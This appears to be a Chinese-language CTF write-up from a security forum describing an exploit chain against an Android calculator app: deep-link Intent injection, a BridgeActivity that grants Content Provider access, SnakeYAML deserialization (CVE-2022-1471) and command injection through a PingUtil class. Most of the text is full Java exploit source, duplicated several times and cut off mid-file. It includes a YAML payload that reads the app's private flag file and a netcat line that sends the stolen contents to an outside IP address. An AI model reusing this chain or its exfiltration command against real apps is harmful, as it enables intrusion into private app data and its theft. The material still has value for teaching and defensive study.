首先是有个Intent注入,APP处理 deep link 的时候,如果表达式里包含 "intent:",就会用 Intent.parseUri() 来解析。相当于给我们开了一个后门,可以往应用里注入恶意的 Intent。

而 BridgeActivity 这个组件本来是用来处理异常的,但是它有个问题,验证通过后会给攻击者授予 Content Provider 的访问权限,我们就可以通过这个来访问目标APP的私有目录,比如我们 location /data/data/com.qinquang.calc/flag-xxxxxxxx.txt 的 flag 和 history.yml。

最后是 YAML 反序列化漏洞,其实就是CVE-2022-1471
这里用了一个叫 SnakeYAML 的库来读取历史记录文件 history.yml。它直接就把 YAML 文件里的内容给反序列化了,完全不管里面装的是什么东西。我们可以在YAML文件里放一个的对象,当APP读取这个文件的时候,就会自动创建这个对象,然后执行里面的代码

这里有个很离谱的 PingUtil 类,直接把用户输入拼接到 ping 命令里,完全没有过滤,基本就是命令执行

先构造一个恶意的 Intent,里面包含了 bridge_token(这个token是通过目标应用包名计算出来的)。然后把这个 Intent 编码后,通过deep link发送给目标应用。
目标应用收到后,发现表达式里包含 "intent:",就会解析这个 Intent 并存储为 fallback(备用方案)。
然后等一会儿,发送一个除零的表达式 (1/0) 给目标应用。目标应用计算的时候会抛出异常,这个时候就会启动 BridgeActivity 来处理这个异常
BridgeActivity 检查 fallback Intent,验证 token,发现没问题,就给了我们 Content Provider 的访问权限,并且回调我们的应用

这个时候我们拿到权限后,就往 history.yml 文件里写入恶意的 YAML 内容。
如果我们往 history.yml 写一个对象,那么后续这个 history.yml 被 loadHistory 时就会触发反序列化,来执行这个代码

这个时候我们就可以写入 PingUtil 类来进行目标APP权限下的命令执行
其实到命令执行这一步当时很快就做到了,但是怎么利用这个来进行拿 flag 想了很久,试了很多方案
由于这题的打远程的过程是,我们上传 APK 给容器,然后容器自动安装运行,后面就什么都没了。所以说,flag 肯定是 POC 安装运行后发送的,而目标 APP 是没有网络权限的,那我们只能给我们的POC网络权限,然后想办法让 POC 去读到目标 APP 私有目录下的 flag,读到 flag 后直接发给我们服务器就行
那么我们解决问题的关键就在于,POC 的 APP 怎么去访问目标APP的私有目录
可以很容易想到的就是,利用 BridgeActivity 给我们的 Content Provider 的访问权限去访问,但是这里有几个问题:
我们此时虽然可以利用命令执行去操作 flag,比如 mv 操作,但是没有那种目标 APP 可以写,同时 POC APP 又可以读的公用目录。那 cat 呢,它也只是目标APP去读取,我的 POC 并没有读到,因为这个命令执行是目标 APP 发起的,而不是我们的 POC
PS:如果不知道一个 APP 权限的 shell 能干嘛,可以 run-as 切换进去试试
后面突然发现 BridgeActivity 是给我授予了对 history.yml 的读写权限的,那我直接把flag的内容覆写到 history.yml ,然后读取不就完了?
与之而来的下一个问题就是,在正常的逻辑运行时, loadHistory 读取解析并真正执行了我们的覆写命令之后,会执行 saveHistory 将正常计算重新覆盖 history.yml
综上结论就是:
授权是短暂的,BridgeActivity 通过 FLAG_GRANT_READ/WRITE_URI_PERMISSION 临时把 content://.../history.yml 授权给我,这种 URI 授权通常随“这次回调/这条任务链”有效,Activity 结束或进程状态变化后可能失效。所以要在回调同一时序窗口内尽快读取。
文件内容是刚被覆盖的,恶意 YAML 触发的命令先把 flag 覆盖到 history.yml,我需要在“覆盖完成之后、被其他逻辑再次写回/清空之前”读取,才能拿到 flag。这就需要在触发正常计算后稍等一小会儿再读。
那么这个稍微等一小会的就需要我们慢慢去测试
测试方法也很简单:
如果读取服务器收到的内容是我们写入的恶意 yml,就说明命令还没执行,间隔太短
如果读取服务器读到的内容是一个正常的计算公式,就说明 yml 已经二次覆盖掉了,间隔太长
然后测去不断缩小延时的区间就可以了
当时本地测通了,一开始打远程的时候,我服务器啥回显都没有,后面莫名其妙又有了,过了一会莫名其妙又没了。远程的容器当时还满了,挺搞心态的,远程都打了我半个小时
玩挺开心的,可惜最后还是没打进线下捏~
String token = computeBridgeToken(VICTIM_PKG);
Intent fallback = new Intent(Intent.ACTION_VIEW);
fallback.setClassName(getPackageName(), ExploitActivity.class.getName());
fallback.putExtra("bridge_token", token);
String intentUri = fallback.toUri(Intent.URI_INTENT_SCHEME);
String expr = Uri.encode(intentUri);
Log.i(TAG, "STEP1 store fallback, intentUriLen=" + intentUri.length());
Intent deeplink = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=" + expr));
deeplink.setPackage(VICTIM_PKG);
Log.i(TAG, "STEP1 start deeplink to victim (store fallback) -> " + deeplink);
startActivity(deeplink);
String token = computeBridgeToken(VICTIM_PKG);
Intent fallback = new Intent(Intent.ACTION_VIEW);
fallback.setClassName(getPackageName(), ExploitActivity.class.getName());
fallback.putExtra("bridge_token", token);
String intentUri = fallback.toUri(Intent.URI_INTENT_SCHEME);
String expr = Uri.encode(intentUri);
Log.i(TAG, "STEP1 store fallback, intentUriLen=" + intentUri.length());
Intent deeplink = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=" + expr));
deeplink.setPackage(VICTIM_PKG);
Log.i(TAG, "STEP1 start deeplink to victim (store fallback) -> " + deeplink);
startActivity(deeplink);
final Intent trigger = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=1%2F0"));
trigger.setPackage(VICTIM_PKG);
trigger.putExtra("fallback", fallback);
trigger.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
trigger.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
final long delayMs = 1800L;
Log.i(TAG, "STEP2 schedule divide-by-zero trigger after " + delayMs + "ms -> " + trigger);
new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(new Runnable() {
@Override public void run() { startActivity(trigger); }
}, delayMs);
final Intent trigger = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=1%2F0"));
trigger.setPackage(VICTIM_PKG);
trigger.putExtra("fallback", fallback);
trigger.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
trigger.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
final long delayMs = 1800L;
Log.i(TAG, "STEP2 schedule divide-by-zero trigger after " + delayMs + "ms -> " + trigger);
new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(new Runnable() {
@Override public void run() { startActivity(trigger); }
}, delayMs);
if (uriStr.endsWith("/history.yml")) {
String yaml = buildEvilYaml("com.attacker", "com.attacker.ExploitActivity");
Log.i(TAG, "STEP4 write YAML begin: \n" + yaml);
try (OutputStream os = getContentResolver().openOutputStream(dataUri, "w")) {
if (os == null) throw new IllegalStateException("openOutputStream returned null");
byte[] bytes = yaml.getBytes(StandardCharsets.UTF_8);
os.write(bytes);
Log.i(TAG, "STEP4 write YAML done, bytes=" + bytes.length);
}
if (uriStr.endsWith("/history.yml")) {
String yaml = buildEvilYaml("com.attacker", "com.attacker.ExploitActivity");
Log.i(TAG, "STEP4 write YAML begin: \n" + yaml);
try (OutputStream os = getContentResolver().openOutputStream(dataUri, "w")) {
if (os == null) throw new IllegalStateException("openOutputStream returned null");
byte[] bytes = yaml.getBytes(StandardCharsets.UTF_8);
os.write(bytes);
Log.i(TAG, "STEP4 write YAML done, bytes=" + bytes.length);
}
final Intent run = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=2%2B2"));
run.setPackage(VICTIM_PKG);
new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(() -> startActivity(run), 100);
final Uri grantedUri = dataUri;
new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(() -> {
new Thread(() -> {
try {
StringBuilder sb = new StringBuilder();
try (InputStream is = getContentResolver().openInputStream(grantedUri);
InputStreamReader ir = new InputStreamReader(is, StandardCharsets.UTF_8);
BufferedReader br = new BufferedReader(ir)) {
String line; while ((line = br.readLine()) != null) sb.append(line);
}
String flagText = sb.toString();
Log.i(TAG, "STEP5 read history.yml:\n" + flagText);
String safe = flagText.replace("'", "'\\''");
String cmd = "printf '%s' '" + safe + "' | nc 111.229.198.6 6666";
execShellCommand(cmd, "nc");
} catch (Exception e) {
Log.e(TAG, "readInline error: " + e);
}
}).start();
}, 550);
final Intent run = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=2%2B2"));
run.setPackage(VICTIM_PKG);
new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(() -> startActivity(run), 100);
final Uri grantedUri = dataUri;
new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(() -> {
new Thread(() -> {
try {
StringBuilder sb = new StringBuilder();
try (InputStream is = getContentResolver().openInputStream(grantedUri);
InputStreamReader ir = new InputStreamReader(is, StandardCharsets.UTF_8);
BufferedReader br = new BufferedReader(ir)) {
String line; while ((line = br.readLine()) != null) sb.append(line);
}
String flagText = sb.toString();
Log.i(TAG, "STEP5 read history.yml:\n" + flagText);
String safe = flagText.replace("'", "'\\''");
String cmd = "printf '%s' '" + safe + "' | nc 111.229.198.6 6666";
execShellCommand(cmd, "nc");
} catch (Exception e) {
Log.e(TAG, "readInline error: " + e);
}
}).start();
}, 550);
package com.attacker;
import android.app.Activity;
import android.content.ContentResolver;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.BufferedReader;
import java.io.OutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.nio.charset.StandardCharsets;
public class ExploitActivity extends Activity {
private static final String TAG = "Exploit";
private static final String VICTIM_PKG = "com.qinquang.calc";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent in = getIntent();
Log.i(TAG, "LAUNCH in=" + in);
Uri dataUri = in != null ? in.getData() : null;
if (dataUri == null) {
try {
String token = computeBridgeToken(VICTIM_PKG);
Intent fallback = new Intent(Intent.ACTION_VIEW);
fallback.setClassName(getPackageName(), ExploitActivity.class.getName());
fallback.putExtra("bridge_token", token);
String intentUri = fallback.toUri(Intent.URI_INTENT_SCHEME);
String expr = Uri.encode(intentUri);
Log.i(TAG, "STEP1 store fallback, intentUriLen=" + intentUri.length());
Intent deeplink = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=" + expr));
deeplink.setPackage(VICTIM_PKG);
Log.i(TAG, "STEP1 start deeplink to victim (store fallback) -> " + deeplink);
startActivity(deeplink);
final Intent trigger = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=1%2F0"));
trigger.setPackage(VICTIM_PKG);
trigger.putExtra("fallback", fallback);
trigger.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
trigger.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
final long delayMs = 1800L;
Log.i(TAG, "STEP2 schedule divide-by-zero trigger after " + delayMs + "ms -> " + trigger);
new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(new Runnable() {
@Override public void run() { startActivity(trigger); }
}, delayMs);
} catch (Exception e) {
Log.e(TAG, "Bootstrap error: " + e);
} finally {
finish();
}
return;
}
try {
Log.i(TAG, "STEP3 callback with dataUri=" + dataUri);
String uriStr = String.valueOf(dataUri);
Log.i(TAG, "uriStr=" + uriStr);
if (uriStr.endsWith("/history.yml")) {
String yaml = buildEvilYaml("com.attacker", "com.attacker.ExploitActivity");
Log.i(TAG, "STEP4 write YAML begin: \n" + yaml);
try (OutputStream os = getContentResolver().openOutputStream(dataUri, "w")) {
if (os == null) throw new IllegalStateException("openOutputStream returned null");
byte[] bytes = yaml.getBytes(StandardCharsets.UTF_8);
os.write(bytes);
Log.i(TAG, "STEP4 write YAML done, bytes=" + bytes.length);
}
final Intent run = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=2%2B2"));
run.setPackage(VICTIM_PKG);
new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(() -> startActivity(run), 100);
final Uri grantedUri = dataUri;
new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(() -> {
new Thread(() -> {
try {
StringBuilder sb = new StringBuilder();
try (InputStream is = getContentResolver().openInputStream(grantedUri);
InputStreamReader ir = new InputStreamReader(is, StandardCharsets.UTF_8);
BufferedReader br = new BufferedReader(ir)) {
String line; while ((line = br.readLine()) != null) sb.append(line);
}
String flagText = sb.toString();
Log.i(TAG, "STEP5 read history.yml:\n" + flagText);
String safe = flagText.replace("'", "'\\''");
String cmd = "printf '%s' '" + safe + "' | nc 111.229.198.6 6666";
execShellCommand(cmd, "nc");
} catch (Exception e) {
Log.e(TAG, "readInline error: " + e);
}
}).start();
}, 550);
}
} catch (Exception e) {
Log.e(TAG, "Exploit error: " + e);
} finally {
}
}
private static String buildEvilYaml(String pkg, String cls) {
String src = "/data/data/com.qinquang.calc/flag*";
String yaml = "- !!com.qinquang.calc.PingUtil |\n" +
" 127.0.0.1; /system/bin/cat " + src + " > /data/data/com.qinquang.calc/files/history.yml; /system/bin/cat " + src + " > /data/data/com.qinquang.calc/files/flag.txt\n";
return yaml;
}
private void execShellCommand(String cmd, String prefix) {
Process proc = null;
BufferedReader reader = null;
try {
Log.i(TAG, prefix + " start: " + cmd);
proc = new ProcessBuilder("/system/bin/sh", "-c", cmd)
.redirectErrorStream(true)
.start();
reader = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
Log.i(TAG, prefix + " | " + line);
}
int code = proc.waitFor();
Log.i(TAG, prefix + " exit=" + code);
} catch (Exception e) {
Log.e(TAG, prefix + " error: " + e);
} finally {
try { if (reader != null) reader.close(); } catch (Exception ignore) {}
if (proc != null) proc.destroy();
}
}
private static String computeBridgeToken(String packageName) throws Exception {
java.security.MessageDigest md = java.security.MessageDigest.getInstance("SHA-256");
byte[] hash = md.digest(packageName.getBytes(StandardCharsets.UTF_8));
StringBuilder sb = new StringBuilder();
for (int i = 0; i < 8; i++) {
sb.append(String.format("%02x", hash[i]));
}
return sb.toString();
}
}
package com.attacker;
import android.app.Activity;
import android.content.ContentResolver;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.BufferedReader;
import java.io.OutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.nio.charset.StandardCharsets;
public class ExploitActivity extends Activity {
private static final String TAG = "Exploit";
private static final String VICTIM_PKG = "com.qinquang.calc";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent in = getIntent();
Log.i(TAG, "LAUNCH in=" + in);
Uri dataUri = in != null ? in.getData() : null;
if (dataUri == null) {
传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2025-10-22 01:24
被Arahat0编辑
,原因: